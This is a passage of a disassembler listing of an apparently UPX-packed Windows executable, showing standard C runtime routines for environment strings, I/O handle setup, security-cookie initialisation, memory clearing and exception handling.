xor edi, edi cmp eax, ebx jnz short loc_40F946 call esi ; dword_41D15C mov edi, eax cmp edi, ebx jz short loc_40F92C mov dword_42ECF8, 1 jmp short loc_40F94F ; --------------------------------------------------------------------------- loc_40F92C: ; CODE XREF: sub_40F8FA+24j call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_40F941 push 2 pop eax mov dword_42ECF8, eax jmp short loc_40F946 ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40F8FA+3Bj mov eax, dword_42ECF8 loc_40F946: ; CODE XREF: sub_40F8FA+1Cj ; sub_40F8FA+45j cmp eax, 1 jnz loc_40F9D0 loc_40F94F: ; CODE XREF: sub_40F8FA+30j cmp edi, ebx jnz short loc_40F962 call esi ; dword_41D15C mov edi, eax cmp edi, ebx jnz short loc_40F962 loc_40F95B: ; CODE XREF: sub_40F8FA+DDj ; sub_40F8FA+E9j ... xor eax, eax jmp loc_40FA2C ; --------------------------------------------------------------------------- loc_40F962: ; CODE XREF: sub_40F8FA+57j ; sub_40F8FA+5Fj mov eax, edi cmp [edi], bx jz short loc_40F977 loc_40F969: ; CODE XREF: sub_40F8FA+74j ; sub_40F8FA+7Bj inc eax inc eax cmp [eax], bx jnz short loc_40F969 inc eax inc eax cmp [eax], bx jnz short loc_40F969 loc_40F977: ; CODE XREF: sub_40F8FA+6Dj mov esi, dword_41D07C push ebx push ebx push ebx sub eax, edi push ebx sar eax, 1 inc eax push eax push edi push ebx push ebx mov [ebp+var_C], eax call esi ; dword_41D07C mov [ebp+var_8], eax cmp eax, ebx jz short loc_40F9C5 push eax call sub_40EF2A pop ecx mov [ebp+var_4], eax cmp eax, ebx jz short loc_40F9C5 push ebx push ebx push [ebp+var_8] push eax push [ebp+var_C] push edi push ebx push ebx call esi ; dword_41D07C test eax, eax jnz short loc_40F9C2 push [ebp+var_4] call sub_40ADC8 pop ecx mov [ebp+var_4], ebx loc_40F9C2: ; CODE XREF: sub_40F8FA+BAj mov ebx, [ebp+var_4] loc_40F9C5: ; CODE XREF: sub_40F8FA+9Aj ; sub_40F8FA+A8j push edi call dword_41D160 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_40FA2C ; --------------------------------------------------------------------------- loc_40F9D0: ; CODE XREF: sub_40F8FA+4Fj cmp eax, 2 jz short loc_40F9D9 cmp eax, ebx jnz short loc_40F95B loc_40F9D9: ; CODE XREF: sub_40F8FA+D9j call dword_41D164 ; GetEnvironmentStringsA mov esi, eax cmp esi, ebx jz loc_40F95B cmp [esi], bl jz short loc_40F9F7 loc_40F9ED: ; CODE XREF: sub_40F8FA+F6j ; sub_40F8FA+FBj inc eax cmp [eax], bl jnz short loc_40F9ED inc eax cmp [eax], bl jnz short loc_40F9ED loc_40F9F7: ; CODE XREF: sub_40F8FA+F1j sub eax, esi inc eax push eax mov [ebp+var_8], eax call sub_40EF2A mov edi, eax pop ecx cmp edi, ebx jnz short loc_40FA16 push esi call dword_41D168 ; FreeEnvironmentStringsA jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40FA16: ; CODE XREF: sub_40F8FA+10Ej push [ebp+var_8] push esi push edi call sub_40E710 add esp, 0Ch push esi call dword_41D168 ; FreeEnvironmentStringsA mov eax, edi loc_40FA2C: ; CODE XREF: sub_40F8FA+63j ; sub_40F8FA+D4j pop edi pop esi pop ebx leave retn sub_40F8FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA31 proc near ; CODE XREF: UPX0:0040BC50p var_64 = byte ptr -64h var_32 = word ptr -32h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 54h push offset dword_426A10 call __SEH_prolog4 xor edi, edi mov [ebp+ms_exc.disabled], edi lea eax, [ebp+var_64] push eax call dword_41D194 ; GetStartupInfoA mov [ebp+ms_exc.disabled], 0FFFFFFFEh push 40h push 20h pop esi push esi call sub_40EF6F pop ecx pop ecx cmp eax, edi jz loc_40FC7C mov dword_430160, eax mov dword_430148, esi lea ecx, [eax+800h] jmp short loc_40FAAB ; --------------------------------------------------------------------------- loc_40FA7B: ; CODE XREF: sub_40FA31+7Cj mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov [eax+8], edi mov byte ptr [eax+24h], 0 mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah mov [eax+38h], edi mov byte ptr [eax+34h], 0 add eax, 40h mov ecx, dword_430160 add ecx, 800h loc_40FAAB: ; CODE XREF: sub_40FA31+48j cmp eax, ecx jb short loc_40FA7B cmp [ebp+var_32], di jz loc_40FBC3 mov eax, [ebp+var_30] cmp eax, edi jz loc_40FBC3 mov edi, [eax] lea ebx, [eax+4] lea eax, [ebx+edi] mov [ebp+var_1C], eax mov esi, 800h cmp edi, esi jl short loc_40FADA mov edi, esi loc_40FADA: ; CODE XREF: sub_40FA31+A5j mov [ebp+var_20], 1 jmp short loc_40FB3E ; --------------------------------------------------------------------------- loc_40FAE3: ; CODE XREF: sub_40FA31+113j push 40h push 20h call sub_40EF6F pop ecx pop ecx test eax, eax jz short loc_40FB48 mov ecx, [ebp+var_20] lea ecx, ds:430160h[ecx*4] mov [ecx], eax add dword_430148, 20h lea edx, [eax+800h] jmp short loc_40FB37 ; --------------------------------------------------------------------------- loc_40FB0D: ; CODE XREF: sub_40FA31+108j mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah and dword ptr [eax+8], 0 and byte ptr [eax+24h], 80h mov byte ptr [eax+25h], 0Ah mov byte ptr [eax+26h], 0Ah and dword ptr [eax+38h], 0 mov byte ptr [eax+34h], 0 add eax, 40h mov edx, [ecx] add edx, esi loc_40FB37: ; CODE XREF: sub_40FA31+DAj cmp eax, edx jb short loc_40FB0D inc [ebp+var_20] loc_40FB3E: ; CODE XREF: sub_40FA31+B0j cmp dword_430148, edi jl short loc_40FAE3 jmp short loc_40FB4E ; --------------------------------------------------------------------------- loc_40FB48: ; CODE XREF: sub_40FA31+BFj mov edi, dword_430148 loc_40FB4E: ; CODE XREF: sub_40FA31+115j and [ebp+var_20], 0 test edi, edi jle short loc_40FBC3 loc_40FB56: ; CODE XREF: sub_40FA31+190j mov eax, [ebp+var_1C] mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_40FBB6 cmp ecx, 0FFFFFFFEh jz short loc_40FBB6 mov al, [ebx] test al, 1 jz short loc_40FBB6 test al, 8 jnz short loc_40FB7A push ecx call dword_41D154 ; GetFileType test eax, eax jz short loc_40FBB6 loc_40FB7A: ; CODE XREF: sub_40FA31+13Cj mov esi, [ebp+var_20] mov eax, esi sar eax, 5 and esi, 1Fh shl esi, 6 add esi, dword_430160[eax*4] mov eax, [ebp+var_1C] mov eax, [eax] mov [esi], eax mov al, [ebx] mov [esi+4], al push 0FA0h lea eax, [esi+0Ch] push eax call sub_413600 pop ecx pop ecx test eax, eax jz loc_40FC7C inc dword ptr [esi+8] loc_40FBB6: ; CODE XREF: sub_40FA31+12Dj ; sub_40FA31+132j ... inc [ebp+var_20] inc ebx add [ebp+var_1C], 4 cmp [ebp+var_20], edi jl short loc_40FB56 loc_40FBC3: ; CODE XREF: sub_40FA31+82j ; sub_40FA31+8Dj ... xor ebx, ebx loc_40FBC5: ; CODE XREF: sub_40FA31+227j mov esi, ebx shl esi, 6 add esi, dword_430160 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_40FBE2 cmp eax, 0FFFFFFFEh jz short loc_40FBE2 or byte ptr [esi+4], 80h jmp short loc_40FC54 ; --------------------------------------------------------------------------- loc_40FBE2: ; CODE XREF: sub_40FA31+1A4j ; sub_40FA31+1A9j mov byte ptr [esi+4], 81h test ebx, ebx jnz short loc_40FBEF push 0FFFFFFF6h pop eax jmp short loc_40FBF9 ; --------------------------------------------------------------------------- loc_40FBEF: ; CODE XREF: sub_40FA31+1B7j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_40FBF9: ; CODE XREF: sub_40FA31+1BCj push eax call dword_41D184 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40FC4A test edi, edi jz short loc_40FC4A push edi call dword_41D154 ; GetFileType test eax, eax jz short loc_40FC4A mov [esi], edi and eax, 0FFh cmp eax, 2 jnz short loc_40FC28 or byte ptr [esi+4], 40h jmp short loc_40FC31 ; --------------------------------------------------------------------------- loc_40FC28: ; CODE XREF: sub_40FA31+1EFj cmp eax, 3 jnz short loc_40FC31 or byte ptr [esi+4], 8 loc_40FC31: ; CODE XREF: sub_40FA31+1F5j ; sub_40FA31+1FAj push 0FA0h lea eax, [esi+0Ch] push eax call sub_413600 pop ecx pop ecx test eax, eax jz short loc_40FC7C inc dword ptr [esi+8] jmp short loc_40FC54 ; --------------------------------------------------------------------------- loc_40FC4A: ; CODE XREF: sub_40FA31+1D4j ; sub_40FA31+1D8j ... or byte ptr [esi+4], 40h mov dword ptr [esi], 0FFFFFFFEh loc_40FC54: ; CODE XREF: sub_40FA31+1AFj ; sub_40FA31+217j inc ebx cmp ebx, 3 jl loc_40FBC5 push dword_430148 call dword_41D158 ; SetHandleCount xor eax, eax jmp short loc_40FC7F ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_40FC7C: ; CODE XREF: sub_40FA31+31j ; sub_40FA31+17Cj ... or eax, 0FFFFFFFFh loc_40FC7F: ; CODE XREF: sub_40FA31+23Bj call __SEH_epilog4 retn sub_40FA31 endp ; =============== S U B R O U T I N E ======================================= sub_40FC85 proc near ; CODE XREF: UPX0:loc_40BC48p mov edi, edi push esi mov eax, offset dword_42679C mov esi, offset dword_42679C push edi mov edi, eax cmp eax, esi jnb short loc_40FCA8 loc_40FC99: ; CODE XREF: sub_40FC85+21j mov eax, [edi] test eax, eax jz short loc_40FCA1 call eax loc_40FCA1: ; CODE XREF: sub_40FC85+18j add edi, 4 cmp edi, esi jb short loc_40FC99 loc_40FCA8: ; CODE XREF: sub_40FC85+12j pop edi pop esi retn sub_40FC85 endp ; --------------------------------------------------------------------------- byte_40FCAB db 8Bh, 0FFh ; DATA XREF: sub_40DB8F+41o ; --------------------------------------------------------------------------- push esi mov eax, offset dword_4267A4 mov esi, offset dword_4267A4 push edi mov edi, eax cmp eax, esi jnb short loc_40FCCE loc_40FCBF: ; CODE XREF: UPX0:0040FCCCj mov eax, [edi] test eax, eax jz short loc_40FCC7 call eax loc_40FCC7: ; CODE XREF: UPX0:0040FCC3j add edi, 4 cmp edi, esi jb short loc_40FCBF loc_40FCCE: ; CODE XREF: UPX0:0040FCBDj pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FCD1 proc near ; CODE XREF: UPX0:loc_40BD35p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 10h mov eax, dword_42A034 and [ebp+var_8], 0 and [ebp+var_4], 0 push ebx push edi mov edi, 0BB40E64Eh mov ebx, 0FFFF0000h cmp eax, edi jz short loc_40FD03 test eax, ebx jz short loc_40FD03 not eax mov dword_42A038, eax jmp short loc_40FD63 ; --------------------------------------------------------------------------- loc_40FD03: ; CODE XREF: sub_40FCD1+23j ; sub_40FCD1+27j push esi lea eax, [ebp+var_8] push eax call dword_41D19C ; GetSystemTimeAsFileTime mov esi, [ebp+var_4] xor esi, [ebp+var_8] call dword_41D148 ; GetCurrentProcessId xor esi, eax call dword_41D1C4 ; GetCurrentThreadId xor esi, eax call dword_41D14C ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call dword_41D150 ; QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax cmp esi, edi jnz short loc_40FD49 mov esi, 0BB40E64Fh jmp short loc_40FD54 ; --------------------------------------------------------------------------- loc_40FD49: ; CODE XREF: sub_40FCD1+6Fj test esi, ebx jnz short loc_40FD54 mov eax, esi shl eax, 10h or esi, eax loc_40FD54: ; CODE XREF: sub_40FCD1+76j ; sub_40FCD1+7Aj mov dword_42A034, esi not esi mov dword_42A038, esi pop esi loc_40FD63: ; CODE XREF: sub_40FCD1+30j pop edi pop ebx leave retn sub_40FCD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD67 proc near ; CODE XREF: sub_40FDBE+31p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], edi mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] shr ecx, 7 pxor xmm0, xmm0 jmp short loc_40FD87 ; --------------------------------------------------------------------------- db 8Dh, 0A4h, 24h, 4 dup(0) db 90h ; --------------------------------------------------------------------------- loc_40FD87: ; CODE XREF: sub_40FD67+16j ; sub_40FD67+4Ej movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm0 movdqa oword ptr [edi+20h], xmm0 movdqa oword ptr [edi+30h], xmm0 movdqa oword ptr [edi+40h], xmm0 movdqa oword ptr [edi+50h], xmm0 movdqa oword ptr [edi+60h], xmm0 movdqa oword ptr [edi+70h], xmm0 lea edi, [edi+80h] dec ecx jnz short loc_40FD87 mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_40FD67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDBE proc near ; CODE XREF: sub_40BD40+27j ; sub_40FDBE+7Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], edi mov eax, [ebp+arg_0] cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx test edi, edi jnz short loc_40FE18 mov ecx, [ebp+arg_8] mov edx, ecx and edx, 7Fh mov [ebp+var_C], edx cmp ecx, edx jz short loc_40FDFD sub ecx, edx push ecx push eax call sub_40FD67 add esp, 8 mov eax, [ebp+arg_0] mov edx, [ebp+var_C] loc_40FDFD: ; CODE XREF: sub_40FDBE+2Bj test edx, edx jz short loc_40FE46 add eax, [ebp+arg_8] sub eax, edx mov [ebp+var_8], eax xor eax, eax mov edi, [ebp+var_8] mov ecx, [ebp+var_C] rep stosb mov eax, [ebp+arg_0] jmp short loc_40FE46 ; --------------------------------------------------------------------------- loc_40FE18: ; CODE XREF: sub_40FDBE+1Cj neg edi add edi, 10h mov [ebp+var_10], edi xor eax, eax mov edi, [ebp+arg_0] mov ecx, [ebp+var_10] rep stosb mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] add ecx, eax sub edx, eax push edx push 0 push ecx call sub_40FDBE add esp, 0Ch mov eax, [ebp+arg_0] loc_40FE46: ; CODE XREF: sub_40FDBE+41j ; sub_40FDBE+58j mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_40FDBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE4D proc near ; CODE XREF: sub_40FE9D+4Fp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_426A30 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 movapd xmm0, xmm1 mov [ebp+var_1C], 1 jmp short loc_40FE8D ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] cmp eax, 0C0000005h jz short loc_40FE82 cmp eax, 0C000001Dh jz short loc_40FE82 xor eax, eax retn ; --------------------------------------------------------------------------- loc_40FE82: ; CODE XREF: sub_40FE4D+29j ; sub_40FE4D+30j xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] and [ebp+var_1C], 0 loc_40FE8D: ; CODE XREF: sub_40FE4D+1Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40FE4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE9D proc near ; CODE XREF: sub_40FEFFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 18h xor eax, eax push ebx mov [ebp+var_4], eax mov [ebp+var_C], eax mov [ebp+var_8], eax push ebx pushf pop eax mov ecx, eax xor eax, 200000h push eax popf pushf pop edx sub edx, ecx jz short loc_40FEE2 push ecx popf xor eax, eax cpuid mov [ebp+var_C], eax mov [ebp+var_18], ebx mov [ebp+var_14], edx mov [ebp+var_10], ecx mov eax, 1 cpuid mov [ebp+var_4], edx mov [ebp+var_8], eax loc_40FEE2: ; CODE XREF: sub_40FE9D+24j pop ebx test [ebp+var_4], 4000000h jz short loc_40FEFA call sub_40FE4D test eax, eax jz short loc_40FEFA xor eax, eax inc eax jmp short loc_40FEFC ; --------------------------------------------------------------------------- loc_40FEFA: ; CODE XREF: sub_40FE9D+4Dj ; sub_40FE9D+56j xor eax, eax loc_40FEFC: ; CODE XREF: sub_40FE9D+5Bj pop ebx leave retn sub_40FE9D endp ; =============== S U B R O U T I N E ======================================= sub_40FEFF proc near ; DATA XREF: UPX0:0041D400o call sub_40FE9D mov dword_430144, eax xor eax, eax retn sub_40FEFF endp ; =============== S U B R O U T I N E ======================================= sub_40FF0C proc near ; CODE XREF: sub_40FF0C+BDp ; UPX0:0040FFF2p ... var_20 = dword ptr -20h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov edx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_8] push ebp push edx push eax push ecx push ecx push offset loc_40FF9C push large dword ptr fs:0 mov eax, dword_42A034 xor eax, esp mov [esp+28h+var_20], eax mov large fs:0, esp loc_40FF3E: ; CODE XREF: sub_40FF0C+64j ; sub_40FF0C+80j mov eax, [esp+28h+arg_4] mov ebx, [eax+8] mov ecx, [esp+28h+arg_0] xor ebx, [ecx] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFEh jz short loc_40FF8E mov edx, [esp+28h+arg_8] cmp edx, 0FFFFFFFEh jz short loc_40FF60 cmp esi, edx jbe short loc_40FF8E loc_40FF60: ; CODE XREF: sub_40FF0C+4Ej lea esi, [esi+esi*2] lea ebx, [ebx+esi*4+10h] mov ecx, [ebx] mov [eax+0Ch], ecx cmp dword ptr [ebx+4], 0 jnz short loc_40FF3E push 101h mov eax, [ebx+8] call sub_414715 mov ecx, 1 mov eax, [ebx+8] call sub_414734 jmp short loc_40FF3E ; --------------------------------------------------------------------------- loc_40FF8E: ; CODE XREF: sub_40FF0C+45j ; sub_40FF0C+52j pop large dword ptr fs:0 add esp, 18h pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40FF9C: ; DATA XREF: sub_40FF0C+14o mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_40FFE1 mov eax, [esp+arg_4] mov ecx, [eax+8] xor ecx, eax call sub_40AC1C push ebp mov ebp, [eax+18h] push dword ptr [eax+0Ch] push dword ptr [eax+10h] push dword ptr [eax+14h] call sub_40FF0C add esp, 0Ch pop ebp mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40FFE1: ; CODE XREF: sub_40FF0C+A0j retn sub_40FF0C endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] push dword ptr [ecx+1Ch] push dword ptr [ecx+18h] push dword ptr [ecx+28h] call sub_40FF0C add esp, 0Ch pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_40FFFE proc near ; CODE XREF: sub_40BE20+89p push ebp push esi push edi push ebx mov ebp, edx xor eax, eax xor ebx, ebx xor edx, edx xor esi, esi xor edi, edi loc_41000E: ; DATA XREF: UPX1:004319CEo call ecx pop ebx pop edi pop esi pop ebp locret_410014: ; DATA XREF: UPX1:004319ECo retn sub_40FFFE endp ; =============== S U B R O U T I N E ======================================= sub_410015 proc near ; CODE XREF: sub_40BE20+167p ; DATA XREF: UPX1:004319A0o mov ebp, edx mov esi, ecx mov eax, ecx push 1 call sub_414715 xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor edi, edi jmp esi sub_410015 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41002E proc near ; CODE XREF: sub_40BE20+116p push ebp mov ebp, esp push ebx push esi push edi push 0 push 0 push offset loc_410043 push ecx call sub_416F6E ; RtlUnwind loc_410043: ; DATA XREF: sub_41002E+Ao pop edi pop esi pop ebx pop ebp retn sub_41002E endp ; =============== S U B R O U T I N E ======================================= sub_410048 proc near ; CODE XREF: sub_40BE20+12Dp ; sub_40BE20+182p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp mov ebp, [esp+4+arg_0] push edx push ecx push [esp+0Ch+arg_4] loc_410053: ; DATA XREF: UPX0:0041F004o ; UPX0:off_4239B0o call sub_40FF0C add esp, 0Ch pop ebp retn 8 sub_410048 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410060 proc near ; CODE XREF: sub_4100F0+41p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov eax, 5A4Dh cmp [ecx], ax jz short loc_410076 loc_410072: ; CODE XREF: sub_410060+21j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_410060+10j mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz short loc_410072 xor edx, edx mov ecx, 10Bh cmp [eax+18h], cx setz dl mov eax, edx pop ebp retn sub_410060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100A0 proc near ; CODE XREF: sub_4100F0+5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] add ecx, eax movzx eax, word ptr [ecx+14h] push ebx push esi movzx esi, word ptr [ecx+6] xor edx, edx push edi lea eax, [eax+ecx+18h] test esi, esi jbe short loc_4100DD mov edi, [ebp+arg_4] loc_4100C5: ; CODE XREF: sub_4100A0+3Bj mov ecx, [eax+0Ch] cmp edi, ecx jb short loc_4100D5 mov ebx, [eax+8] add ebx, ecx cmp edi, ebx jb short loc_4100DF loc_4100D5: ; CODE XREF: sub_4100A0+2Aj inc edx add eax, 28h cmp edx, esi jb short loc_4100C5 loc_4100DD: ; CODE XREF: sub_4100A0+20j xor eax, eax loc_4100DF: ; CODE XREF: sub_4100A0+33j pop edi pop esi pop ebx pop ebp retn sub_4100A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100F0 proc near ; CODE XREF: sub_40BE20+F8p ; sub_40DB8F+13p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 0FFFFFFFEh push offset dword_426A50 push offset sub_40BE20 mov eax, large fs:0 push eax sub esp, 8 push ebx push esi push edi mov eax, dword_42A034 xor [ebp+var_8], eax xor eax, ebp push eax lea eax, [ebp+var_10] mov large fs:0, eax mov [ebp+var_18], esp mov [ebp+var_4], 0 push 400000h call sub_410060 add esp, 4 test eax, eax jz short loc_410192 mov eax, [ebp+arg_0] sub eax, 400000h push eax push 400000h call sub_4100A0 add esp, 8 test eax, eax jz short loc_410192 mov eax, [eax+24h] shr eax, 1Fh not eax and eax, 1 mov [ebp+var_4], 0FFFFFFFEh mov ecx, [ebp+var_10] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov ecx, [eax] mov eax, [ecx] xor edx, edx cmp eax, 0C0000005h setz dl mov eax, edx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_410192: ; CODE XREF: sub_4100F0+4Bj ; sub_4100F0+65j mov [ebp+var_4], 0FFFFFFFEh xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4100F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101AD proc near ; CODE XREF: sub_410A1C+155p arg_0 = byte ptr 8 mov edi, edi push ebp mov ebp, esp push esi lea eax, [ebp+arg_0] push eax mov esi, ecx call sub_40ACB7 mov dword ptr [esi], offset off_41DCA8 mov eax, esi pop esi pop ebp retn 4 sub_4101AD endp ; --------------------------------------------------------------------------- mov dword ptr [ecx], offset off_41DCA8 jmp sub_40AD84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101D6 proc near ; DATA XREF: UPX0:off_41DCA8o arg_0 = byte ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, ecx mov dword ptr [esi], offset off_41DCA8 call sub_40AD84 test [ebp+arg_0], 1 jz short loc_4101F6 push esi call sub_40AC11 pop ecx loc_4101F6: ; CODE XREF: sub_4101D6+17j mov eax, esi pop esi pop ebp retn 4 sub_4101D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101FD proc near ; CODE XREF: sub_410449+50p ; sub_410A1C+20Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, [edi+4] test eax, eax jz short loc_410255 lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_410255 mov esi, [ebp+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_410234 add ecx, 8 push ecx push edx call sub_40EAF0 pop ecx pop ecx test eax, eax jz short loc_410234 loc_410230: ; CODE XREF: sub_4101FD+3Fj ; sub_4101FD+4Dj ... xor eax, eax jmp short loc_410258 ; --------------------------------------------------------------------------- loc_410234: ; CODE XREF: sub_4101FD+21j ; sub_4101FD+31j test byte ptr [esi], 2 jz short loc_41023E test byte ptr [edi], 8 jz short loc_410230 loc_41023E: ; CODE XREF: sub_4101FD+3Aj mov eax, [ebp+arg_8] mov eax, [eax] test al, 1 jz short loc_41024C test byte ptr [edi], 1 jz short loc_410230 loc_41024C: ; CODE XREF: sub_4101FD+48j test al, 2 jz short loc_410255 test byte ptr [edi], 2 jz short loc_410230 loc_410255: ; CODE XREF: sub_4101FD+Fj ; sub_4101FD+17j ... xor eax, eax inc eax loc_410258: ; CODE XREF: sub_4101FD+35j pop edi pop esi pop ebp retn sub_4101FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41025C proc near ; CODE XREF: sub_4102A5+85p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] cmp eax, 0E0434F4Dh jz short loc_410287 cmp eax, 0E06D7363h jnz short loc_4102A1 call sub_40E38F and dword ptr [eax+90h], 0 jmp sub_40E02B ; --------------------------------------------------------------------------- loc_410287: ; CODE XREF: sub_41025C+11j call sub_40E38F cmp dword ptr [eax+90h], 0 jle short loc_4102A1 call sub_40E38F add eax, 90h dec dword ptr [eax] loc_4102A1: ; CODE XREF: sub_41025C+18j ; sub_41025C+37j xor eax, eax pop ebp retn sub_41025C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102A5 proc near ; CODE XREF: sub_41050D+ECp ; sub_4108BA+38p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset dword_426A70 call __SEH_prolog4 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] cmp dword ptr [edi+4], 80h jg short loc_4102C6 movsx esi, byte ptr [ebx+8] jmp short loc_4102C9 ; --------------------------------------------------------------------------- loc_4102C6: ; CODE XREF: sub_4102A5+19j mov esi, [ebx+8] loc_4102C9: ; CODE XREF: sub_4102A5+1Fj mov [ebp+var_1C], esi call sub_40E38F add eax, 90h inc dword ptr [eax] and [ebp+ms_exc.disabled], 0 loc_4102DC: ; CODE XREF: sub_4102A5+9Fj cmp esi, [ebp+arg_C] jz short loc_410346 cmp esi, 0FFFFFFFFh jle short loc_4102EB cmp esi, [edi+4] jl short loc_4102F0 loc_4102EB: ; CODE XREF: sub_4102A5+3Fj call sub_40E077 loc_4102F0: ; CODE XREF: sub_4102A5+44j mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], 1 cmp dword ptr [ecx+4], 0 jz short loc_410321 mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_410E70 loc_410321: ; CODE XREF: sub_4102A5+65j and [ebp+ms_exc.disabled], 0 jmp short loc_410341 ; --------------------------------------------------------------------------- loc_410327: ; DATA XREF: UPX0:00426A90o push [ebp+ms_exc.exc_ptr] call sub_41025C pop ecx retn ; --------------------------------------------------------------------------- loc_410331: ; DATA XREF: UPX0:00426A94o mov 